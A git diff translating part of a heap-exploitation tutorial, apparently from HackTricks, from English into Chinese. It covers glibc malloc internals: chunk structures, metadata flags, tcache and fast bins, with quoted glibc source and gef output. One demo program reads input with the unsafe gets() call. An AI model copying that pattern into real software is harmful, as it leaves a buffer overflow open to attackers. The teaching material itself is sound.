- 2]; +/* Normal bins packed as described above */ +mchunkptr bins[NBINS * 2 - 2]; - /* Bitmap of bins */ - unsigned int binmap[BINMAPSIZE]; +/* Bitmap of bins */ +unsigned int binmap[BINMAPSIZE]; - /* Linked list */ - struct malloc_state *next; +/* Linked list */ +struct malloc_state *next; - /* Linked list for free arenas. Access to this field is serialized - by free_list_lock in arena.c. */ - struct malloc_state *next_free; +/* Linked list for free arenas. Access to this field is serialized +by free_list_lock in arena.c. */ +struct malloc_state *next_free; - /* Number of threads attached to this arena. 0 if the arena is on - the free list. Access to this field is serialized by - free_list_lock in arena.c. */ - INTERNAL_SIZE_T attached_threads; +/* Number of threads attached to this arena. 0 if the arena is on +the free list. Access to this field is serialized by +free_list_lock in arena.c. */ +INTERNAL_SIZE_T attached_threads; - /* Memory allocated from the system in this arena. */ - INTERNAL_SIZE_T system_mem; - INTERNAL_SIZE_T max_system_mem; +/* Memory allocated from the system in this arena. */ +INTERNAL_SIZE_T system_mem; +INTERNAL_SIZE_T max_system_mem; }; ``` - ### malloc_chunk -This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks. - +该结构表示特定的内存块。不同字段对已分配和未分配的内存块具有不同的含义。 ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c struct malloc_chunk { - INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ - INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ - struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk; - /* Only used for large blocks: pointer to next larger size. */ - struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk_nextsize; +INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ +INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ +struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk; +/* Only used for large blocks: pointer to next larger size. */ +struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk_nextsize; }; typedef struct malloc_chunk* mchunkptr; ``` - -As commented previously, these chunks also have some metadata, very good represented in this image: +如前所述,这些块也有一些元数据,在此图中很好地表示出来:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate: +元数据通常是0x08B,表示当前块大小,使用最后3位表示: -- `A`: If 1 it comes from a subheap, if 0 it's in the main arena -- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap -- `P`: If 1, the previous chunk is in use +- `A`:如果为1,则来自子堆,如果为0,则在主区域 +- `M`:如果为1,则该块是使用mmap分配的空间的一部分,而不是堆的一部分 +- `P`:如果为1,则前一个块正在使用中 -Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated). +然后是用户数据的空间,最后是0x08B,用于指示块可用时的前一个块大小(或在分配时存储用户数据)。 -Moreover, when available, the user data is used to contain also some data: +此外,当可用时,用户数据也用于包含一些数据: -- **`fd`**: Pointer to the next chunk -- **`bk`**: Pointer to the previous chunk -- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself -- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself +- **`fd`**:指向下一个块的指针 +- **`bk`**:指向前一个块的指针 +- **`fd_nextsize`**:指向列表中第一个小于自身的块的指针 +- **`bk_nextsize`**:指向列表中第一个大于自身的块的指针

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

> [!NOTE] -> Note how liking the list this way prevents the need to having an array where every single chunk is being registered. +> 注意以这种方式链接列表可以避免需要一个数组来注册每一个块。 -### Chunk Pointers - -When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\ -For these conversions these functions are used: +### 块指针 +当使用malloc时,返回一个可以写入的内容的指针(就在头部之后),然而,在管理块时,需要一个指向头部(元数据)开始的指针。\ +为这些转换使用这些函数: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -207,13 +200,11 @@ For these conversions these functions are used: /* The smallest size we can malloc is an aligned minimal chunk */ #define MINSIZE \ - (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) +(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) ``` +### 对齐和最小大小 -### Alignment & min size - -The pointer to the chunk and `0x0f` must be 0. - +指向块的指针和 `0x0f` 必须为 0。 ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61 #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) @@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0. #define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0) #define misaligned_chunk(p) \ - ((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ - & MALLOC_ALIGN_MASK) +((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ +& MALLOC_ALIGN_MASK) /* pad request bytes into a usable size -- internal version */ /* Note: This must be a macro that evaluates to a compile time constant - if passed a literal constant. */ +if passed a literal constant. */ #define request2size(req) \ - (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ - MINSIZE : \ - ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) +(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ +MINSIZE : \ +((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) /* Check if REQ overflows when padded and aligned and if the resulting - value is less than PTRDIFF_T. Returns the requested size or - MINSIZE in case the value is less than MINSIZE, or 0 if any of the - previous checks fail. */ +value is less than PTRDIFF_T. Returns the requested size or +MINSIZE in case the value is less than MINSIZE, or 0 if any of the +previous checks fail. */ static inline size_t checked_request2size (size_t req) __nonnull (1) { - if (__glibc_unlikely (req > PTRDIFF_MAX)) - return 0; +if (__glibc_unlikely (req > PTRDIFF_MAX)) +return 0; - /* When using tagged memory, we cannot share the end of the user - block with the header for the next chunk, so ensure that we - allocate blocks that are rounded up to the granule size. Take - care not to overflow from close to MAX_SIZE_T to a small - number. Ideally, this would be part of request2size(), but that - must be a macro that produces a compile time constant if passed - a constant literal. */ - if (__glibc_unlikely (mtag_enabled)) - { - /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ - asm (""); +/* When using tagged memory, we cannot share the end of the user +block with the header for the next chunk, so ensure that we +allocate blocks that are rounded up to the granule size. Take +care not to overflow from close to MAX_SIZE_T to a small +number. Ideally, this would be part of request2size(), but that +must be a macro that produces a compile time constant if passed +a constant literal. */ +if (__glibc_unlikely (mtag_enabled)) +{ +/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ +asm (""); - req = (req + (__MTAG_GRANULE_SIZE - 1)) & - ~(size_t)(__MTAG_GRANULE_SIZE - 1); - } +req = (req + (__MTAG_GRANULE_SIZE - 1)) & +~(size_t)(__MTAG_GRANULE_SIZE - 1); +} - return request2size (req); +return request2size (req); } ``` +请注意,在计算所需的总空间时,仅添加了 `SIZE_SZ` 1 次,因为 `prev_size` 字段可以用来存储数据,因此只需要初始头部。 -Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed. +### 获取块数据并更改元数据 -### Get Chunk data and alter metadata - -These functions work by receiving a pointer to a chunk and are useful to check/set metadata: - -- Check chunk flags +这些函数通过接收指向块的指针来工作,并且对于检查/设置元数据非常有用: +- 检查块标志 ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained - from a non-main arena. This is only set immediately before handing - the chunk to the user, if necessary. */ +from a non-main arena. This is only set immediately before handing +the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 /* Check for chunk from main arena. */ @@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Mark a chunk as not being on the main arena. */ #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA) ``` - -- Sizes and pointers to other chunks - +- 大小和指向其他块的指针 ```c /* - Bits to mask off when extracting size +Bits to mask off when extracting size - Note: IS_MMAPPED is intentionally not masked off from size field in - macros for which mmapped chunks should never be seen. This should - cause helpful core dumps to occur if it is tried by accident by - people extending or adapting this malloc. - */ +Note: IS_MMAPPED is intentionally not masked off from size field in +macros for which mmapped chunks should never be seen. This should +cause helpful core dumps to occur if it is tried by accident by +people extending or adapting this malloc. +*/ #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) /* Get size, ignoring use bits */ @@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) ``` - -- Insue bit - +- 确保位 ```c /* extract p's inuse bit */ #define inuse(p) \ - ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) +((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) /* set/clear chunk as being inuse without otherwise disturbing */ #define set_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE #define clear_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) /* check/set/clear inuse bits in known places */ #define inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) #define set_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) #define clear_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` - -- Set head and footer (when chunk nos in use - +- 设置页眉和页脚(当使用块编号时) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) ``` - -- Get the size of the real usable data inside the chunk - +- 获取块内实际可用数据的大小 ```c #pragma GCC poison mchunk_size #pragma GCC poison mchunk_prev_size /* This is the size of the real usable data in the chunk. Not valid for - dumped heap chunks. */ +dumped heap chunks. */ #define memsize(p) \ - (__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ - chunksize (p) - CHUNK_HDR_SZ : \ - chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) +(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ +chunksize (p) - CHUNK_HDR_SZ : \ +chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) /* If memory tagging is enabled the layout changes to accommodate the granule - size, this is wasteful for small allocations so not done by default. - Both the chunk header and user data has to be granule aligned. */ +size, this is wasteful for small allocations so not done by default. +Both the chunk header and user data has to be granule aligned. */ _Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ, - "memory tagging is not supported with large granule."); +"memory tagging is not supported with large granule."); static __always_inline void * tag_new_usable (void *ptr) { - if (__glibc_unlikely (mtag_enabled) && ptr) - { - mchunkptr cp = mem2chunk(ptr); - ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); - } - return ptr; +if (__glibc_unlikely (mtag_enabled) && ptr) +{ +mchunkptr cp = mem2chunk(ptr); +ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); +} +return ptr; } ``` +## 示例 -## Examples - -### Quick Heap Example - -Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64: +### 快速堆示例 +来自 [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) 的快速堆示例,但在 arm64: ```c #include #include @@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http void main(void) { - char *ptr; - ptr = malloc(0x10); - strcpy(ptr, "panda"); +char *ptr; +ptr = malloc(0x10); +strcpy(ptr, "panda"); } ``` - -Set a breakpoint at the end of the main function and lets find out where the information was stored: +在主函数的末尾设置一个断点,让我们找出信息存储的位置:
-It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`. - -The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number. +可以看到字符串 panda 存储在 `0xaaaaaaac12a0`(这是 malloc 在 `x0` 中给出的地址)。检查 0x10 字节之前,可以看到 `0x0` 表示 **前一个块未使用**(长度为 0),而这个块的长度为 `0x21`。 +保留的额外空间(0x21-0x10=0x11)来自 **添加的头部**(0x10),而 0x1 并不意味着它被保留为 0x21B,而是当前头部长度的最后 3 位具有一些特殊含义。由于长度始终是 16 字节对齐的(在 64 位机器上),这些位实际上永远不会被长度数字使用。 ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena ``` - -### Multithreading Example +### 多线程示例
-Multithread - +多线程 ```c #include #include @@ -460,56 +435,55 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1 void* threadFuncMalloc(void* arg) { - printf("Hello from thread 1\n"); - char* addr = (char*) malloc(1000); - printf("After malloc and before free in thread 1\n"); - free(addr); - printf("After free in thread 1\n"); +printf("Hello from thread 1\n"); +char* addr = (char*) malloc(1000); +printf("After malloc and before free in thread 1\n"); +free(addr); +printf("After free in thread 1\n"); } void* threadFuncNoMalloc(void* arg) { - printf("Hello from thread 2\n"); +printf("Hello from thread 2\n"); } int main() { - pthread_t t1; - void* s; - int ret; - char* addr; +pthread_t t1; +void* s; +int ret; +char* addr; - printf("Before creating thread 1\n"); - getchar(); - ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); - getchar(); +printf("Before creating thread 1\n"); +getchar(); +ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); +getchar(); - printf("Before creating thread 2\n"); - ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); +printf("Before creating thread 2\n"); +ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); - printf("Before exit\n"); - getchar(); +printf("Before exit\n"); +getchar(); - return 0; +return 0; } ``` -
-Debugging the previous example it's possible to see how at the beginning there is only 1 arena: +调试前面的示例可以看到,开始时只有 1 个 arena:
-Then, after calling the first thread, the one that calls malloc, a new arena is created: +然后,在调用第一个线程,即调用 malloc 的线程后,创建了一个新的 arena:
-and inside of it some chunks can be found: +在其中可以找到一些 chunks:
## Bins & Memory Allocations/Frees -Check what are the bins and how are they organized and how memory is allocated and freed in: +检查 bins 是什么,它们是如何组织的,以及内存是如何分配和释放的: {{#ref}} bins-and-memory-allocations.md @@ -517,7 +491,7 @@ bins-and-memory-allocations.md ## Heap Functions Security Checks -Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted: +涉及堆的函数在执行其操作之前会进行某些检查,以确保堆没有被破坏: {{#ref}} heap-memory-functions/heap-functions-security-checks.md diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md index eb184fc93..41340c871 100644 --- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md +++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -2,60 +2,55 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. +为了提高块存储的效率,每个块不仅仅在一个链表中,而是有几种类型。这些是 bins,有 5 种类型的 bins:[62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) 小 bins,63 大 bins,1 个未排序 bin,10 个快速 bins 和每个线程 64 个 tcache bins。 -The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins. +每个未排序、小型和大型 bins 的初始地址在同一个数组中。索引 0 未使用,1 是未排序 bin,bins 2-64 是小 bins,bins 65-127 是大 bins。 -### Tcache (Per-Thread Cache) Bins +### Tcache(每线程缓存)Bins -Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**. +尽管线程尝试拥有自己的堆(参见 [Arenas](bins-and-memory-allocations.md#arenas) 和 [Subheaps](bins-and-memory-allocations.md#subheaps)),但有可能一个有很多线程的进程(如 web 服务器)**最终会与其他线程共享堆**。在这种情况下,主要解决方案是使用 **锁**,这可能会**显著减慢线程**。 -Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). +因此,tcache 类似于每个线程的快速 bin,因为它是一个**单链表**,不合并块。每个线程有**64 个单链表 tcache bins**。每个 bin 最多可以有 [7 个相同大小的块](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323),大小范围为 [24 到 1032B 在 64 位系统上和 12 到 516B 在 32 位系统上](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315)。 -**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally. +**当一个线程释放**一个块时,**如果它不太大**以至于无法在 tcache 中分配,并且相应的 tcache bin **没有满**(已经有 7 个块),**它将被分配到那里**。如果无法进入 tcache,它将需要等待堆锁才能在全局范围内执行释放操作。 -When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\ -There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache. +当一个 **块被分配**时,如果在 **Tcache 中有一个所需大小的空闲块,它将使用它**,如果没有,它将需要等待堆锁才能在全局 bins 中找到一个或创建一个新的。\ +还有一个优化,在这种情况下,当拥有堆锁时,线程 **将用请求大小的堆块填充他的 Tcache(7 个)**,以便在需要更多时,可以在 Tcache 中找到它们。
-Add a tcache chunk example - +添加一个 tcache 块示例 ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - free(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +free(chunk); +return 0; } ``` - -Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use: - +将其编译并在主函数的 ret 操作码处设置断点进行调试。然后使用 gef,您可以看到正在使用的 tcache bin: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ``` -
-#### Tcache Structs & Functions +#### Tcache 结构和函数 -In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin. +在以下代码中,可以看到 **max bins** 和 **chunks per index**,为避免双重释放而创建的 **`tcache_entry`** 结构,以及每个线程用于存储每个 bin 索引地址的 **`tcache_perthread_struct`** 结构。
-tcache_entry and tcache_perthread_struct - +tcache_entrytcache_perthread_struct ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c @@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind # define usize2tidx(x) csize2tidx (request2size (x)) /* With rounding and alignment, the bins are... - idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) - idx 1 bytes 25..40 or 13..20 - idx 2 bytes 41..56 or 21..28 - etc. */ +idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) +idx 1 bytes 25..40 or 13..20 +idx 2 bytes 41..56 or 21..28 +etc. */ /* This is another arbitrary limit, which tunables can change. Each - tcache bin will hold at most this number of chunks. */ +tcache bin will hold at most this number of chunks. */ # define TCACHE_FILL_COUNT 7 /* Maximum chunks in tcache bins for tunables. This value must fit the range - of tcache->counts[] entries, else they may overflow. */ +of tcache->counts[] entries, else they may overflow. */ # define MAX_TCACHE_COUNT UINT16_MAX [...] typedef struct tcache_entry { - struct tcache_entry *next; - /* This field exists to detect double frees. */ - uintptr_t key; +struct tcache_entry *next; +/* This field exists to detect double frees. */ +uintptr_t key; } tcache_entry; /* There is one of these for each thread, which contains the - per-thread cache (hence "tcache_perthread_struct"). Keeping - overall size low is mildly important. Note that COUNTS and ENTRIES - are redundant (we could have just counted the linked list each - time), this is for performance reasons. */ +per-thread cache (hence "tcache_perthread_struct"). Keeping +overall size low is mildly important. Note that COUNTS and ENTRIES +are redundant (we could have just counted the linked list each +time), this is for performance reasons. */ typedef struct tcache_perthread_struct { - uint16_t counts[TCACHE_MAX_BINS]; - tcache_entry *entries[TCACHE_MAX_BINS]; +uint16_t counts[TCACHE_MAX_BINS]; +tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; ``` -
-The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj +函数 `__tcache_init` 是创建和分配 `tcache_perthread_struct` 对象空间的函数
-tcache_init code - +tcache_init 代码 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2 static void tcache_init(void) { - mstate ar_ptr; - void *victim = 0; - const size_t bytes = sizeof (tcache_perthread_struct); +mstate ar_ptr; +void *victim = 0; +const size_t bytes = sizeof (tcache_perthread_struct); - if (tcache_shutting_down) - return; +if (tcache_shutting_down) +return; - arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - if (!victim && ar_ptr != NULL) - { - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +arena_get (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +if (!victim && ar_ptr != NULL) +{ +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - /* In a low memory situation, we may not be able to allocate memory - - in which case, we just keep trying later. However, we - typically do this very early, so either there is sufficient - memory, or there isn't enough memory to do non-trivial - allocations anyway. */ - if (victim) - { - tcache = (tcache_perthread_struct *) victim; - memset (tcache, 0, sizeof (tcache_perthread_struct)); - } +/* In a low memory situation, we may not be able to allocate memory +- in which case, we just keep trying later. However, we +typically do this very early, so either there is sufficient +memory, or there isn't enough memory to do non-trivial +allocations anyway. */ +if (victim) +{ +tcache = (tcache_perthread_struct *) victim; +memset (tcache, 0, sizeof (tcache_perthread_struct)); +} } ``` -
-#### Tcache Indexes +#### Tcache 索引 -The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks. +Tcache 有几个 bins,具体取决于大小和指向 **每个索引第一个块的初始指针以及每个索引的块数量位于一个块内部**。这意味着通过这些信息(通常是第一个)定位块,可以找到所有 tcache 初始点和 Tcache 块的数量。 -### Fast bins +### 快速 bins -Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO). +快速 bins 旨在 **加速小块的内存分配**,通过将最近释放的块保存在快速访问结构中。这些 bins 使用后进先出(LIFO)方法,这意味着 **最近释放的块是第一个** 在有新的分配请求时被重用。这种行为在速度上是有利的,因为从栈顶(LIFO)插入和移除比从队列(FIFO)更快。 -Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations. +此外,**快速 bins 使用单链表**,而不是双链表,这进一步提高了速度。由于快速 bins 中的块不会与邻居合并,因此不需要复杂的结构来允许从中间移除。单链表在这些操作中更简单、更快。 -Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So: +基本上,这里发生的事情是,头部(指向第一个要检查的块的指针)始终指向该大小的最新释放块。因此: -- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk -- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header +- 当分配一个该大小的新块时,头部指向一个可用的空闲块。由于这个空闲块指向下一个要使用的块,这个地址被存储在头部,以便下一个分配知道在哪里获取可用块 +- 当一个块被释放时,空闲块将保存当前可用块的地址,而这个新释放块的地址将放入头部 -The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`... +链表的最大大小为 `0x80`,它们的组织方式是,大小为 `0x20` 的块将位于索引 `0`,大小为 `0x30` 的块将位于索引 `1`... > [!CAUTION] -> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them. - +> 快速 bins 中的块未被设置为可用,因此它们会在一段时间内保持为快速 bin 块,而不是能够与周围的其他空闲块合并。 ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Fastbins +Fastbins - An array of lists holding recently freed small chunks. Fastbins - are not doubly linked. It is faster to single-link them, and - since chunks are never removed from the middles of these lists, - double linking is not necessary. Also, unlike regular bins, they - are not even processed in FIFO order (they use faster LIFO) since - ordering doesn't much matter in the transient contexts in which - fastbins are normally used. +An array of lists holding recently freed small chunks. Fastbins +are not doubly linked. It is faster to single-link them, and +since chunks are never removed from the middles of these lists, +double linking is not necessary. Also, unlike regular bins, they +are not even processed in FIFO order (they use faster LIFO) since +ordering doesn't much matter in the transient contexts in which +fastbins are normally used. - Chunks in fastbins keep their inuse bit set, so they cannot - be consolidated with other free chunks. malloc_consolidate - releases all chunks in fastbins and consolidates them with - other free chunks. - */ +Chunks in fastbins keep their inuse bit set, so they cannot +be consolidated with other free chunks. malloc_consolidate +releases all chunks in fastbins and consolidates them with +other free chunks. +*/ typedef struct malloc_chunk *mfastbinptr; #define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx]) /* offset 2 to use otherwise unindexable first 2 bins */ #define fastbin_index(sz) \ - ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) 